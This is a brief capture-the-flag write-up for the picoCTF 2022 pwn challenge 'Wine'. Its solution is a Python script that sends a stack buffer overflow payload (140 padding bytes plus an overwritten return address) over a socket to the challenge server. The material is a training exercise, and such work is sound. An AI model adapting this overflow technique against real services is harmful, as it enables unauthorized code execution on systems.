wine.md

name	event	category	description	layout
Wine (2022)	Pico CTF 2022	Pwn	Writeup for Wine (Pwn) - Pico CTF (2022) 💜	title description tableOfContents outline pagination visible true visible true visible true visible true visible true

Wine

Video Walkthrough

Description

Challenge best paired with wine.

Solution

{% code overflow="wrap" %}

import socket

payload = b'A' * 140
payload += b'\x30\x15\x40'
print('payload = ' + str(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('saturn.picoctf.net', 62461))
print(s.recv(1024))
print(s.send(payload + b'\r\n'))
print(s.recv(1024))
s.close()

{% endcode %}